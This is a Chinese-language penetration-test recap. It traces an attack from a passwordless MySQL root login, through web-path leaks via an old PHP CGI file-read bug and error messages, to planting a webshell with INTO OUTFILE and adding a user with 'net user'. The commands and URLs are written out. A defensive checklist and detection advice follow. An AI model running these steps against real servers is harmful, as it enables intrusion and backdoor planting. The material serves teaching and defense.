首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫

實戰復盤:從 3306 匿名登入到 Webshell 植入的完整滲透鏈

     編輯:MySQL 資料庫相關知識

目標偵察階段

  • SuperScan 掃描 C 段,僅一台開放 80 端口 (Apache/1.3.22 Win32)
  • 嘗試 MySQL 直連:mysql -h target_ip → **無密碼 Root 登入成功**
  • 確認技術棧:Apache + PHP + MySQL (經典 LAMP/WAMP)

關鍵突破:獲取 Web 物理路徑

作者演示兩種經典技巧:

技巧一:PHP CGI 文件讀取漏洞 (CVE-2002-0083 類)

https://target/php/php.exe?c:boot.ini
→ 回顯系統啟動配置,確認 Windows XP
https://target/php/php.exe?f:apache/conf/httpd.conf
→ 獲取 DocumentRoot "D:homepage"

原理:舊版 PHP CGI 模式未校驗參數,直接以參數作文件路徑讀取。

技巧二:PHP 錯誤回顯路徑泄露

https://target/skonline/study/list.php?id=14'
→ Warning: ... in d:\homepage\skonline\study\list.php on line 231

開發環境未關閉 display_errors,直接洩露絕對路徑。

武器化:MySQL INTO OUTFILE 寫 Webshell

mysql -h target -u root -p
USE test;
CREATE TABLE t(cmd TEXT);
INSERT INTO t VALUES('');
SELECT * FROM t INTO OUTFILE 'd:/homepage/test.php';

驗證:https://target/test.php?c=net user kid /add → 命令成功執行,添加管理員用戶。

攻擊鏈總結

  1. 發現開放 3306 + Root 空密碼
  2. 獲取 Web 物理路徑 (CGI 漏洞 / 錯誤回顯 / 信息收集)
  3. 利用 SELECT ... INTO OUTFILE 寫入 PHP Webshell
  4. 通過 Webshell 執行系統命令、提權、持久化

防禦檢核表 (針對各環節斷鏈)

現代檢測視角

  • 流量層:WAF 檢測 INTO OUTFILE、UNION SELECT、0x... 十六進制特徵
  • 主機層:Web 目錄文件創建/修改監控 (inotify/Sysmon);PHP 危險函數調用鏈分析
  • 賬號層:MySQL 審計插件記錄 CREATE TABLE、INSERT、SELECT ... INTO 異常操作

結語

這是一條教科書級的「配置失誤疊加」殺鏈:弱口令 + 信息洩露 + 高危功能 + 代碼執行。每一環單獨看風險可控,組合即毀滅性。防禦核心在於**縱深防禦**:網絡隔離、最小權限、安全配置、錯誤處理、運行時保護,缺一不可。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved
環節風險緩解措施
3306 暴露公網直接攻擊面安全組/防火牆僅放行應用服務器 IP;bind-address=127.0.0.1
Root 空密碼完全控制mysql_secure_installation;強制複雜密碼;禁用遠程 Root
PHP CGI 漏洞任意文件讀取升級 PHP;遷移至 FastPHP-FPM;禁用 CGI 模式
錯誤回顯路徑洩露display_errors=Off、log_errors=On、自定義錯誤頁
INTO OUTFILE代碼落地應用帳號移除 FILE 權限;secure_file_priv=/tmp;Web 目錄不可寫
Webshell 執行命令執行禁用 system/exec/shell_exec (php.ini disable_functions);OpenRASP/安全狗